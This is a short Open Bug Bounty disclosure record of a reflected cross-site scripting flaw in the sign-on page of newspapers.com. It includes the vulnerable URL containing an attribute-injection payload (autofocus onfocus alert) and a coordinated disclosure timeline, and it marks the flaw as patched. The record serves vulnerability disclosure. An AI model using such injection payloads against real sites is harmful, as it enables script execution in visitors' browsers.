newspapers.com XSS vulnerability

2017-06-06T15:34:00
ID OBB:245205
Type openbugbounty
Reporter amlnspqr
Modified 2017-06-21T11:15:00

Description

Vulnerable URL:
https://www.newspapers.com/signon.php?e=nameexists&username;=%22%20autofocus%20onfocus=%22alert(/XSSPOSED/)
Details:

Description| Value
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Patched:| Yes, at
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 11412
VIP website status:| Yes

Coordinated Disclosure Timeline:

Description| Value
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Vulnerability submitted via Open Bug Bounty| 6 June, 2017 15:34 GMT
Vulnerability existence verified and confirmed| 7 June, 2017 10:46 GMT
Generic security notifications sent to website owner| 7 June, 2017 10:46 GMT
Notification sent to subscribers (without technical details)| 7 June, 2017 14:17 GMT
Vulnerability details disclosed by researcher| 21 June, 2017 11:15 GMT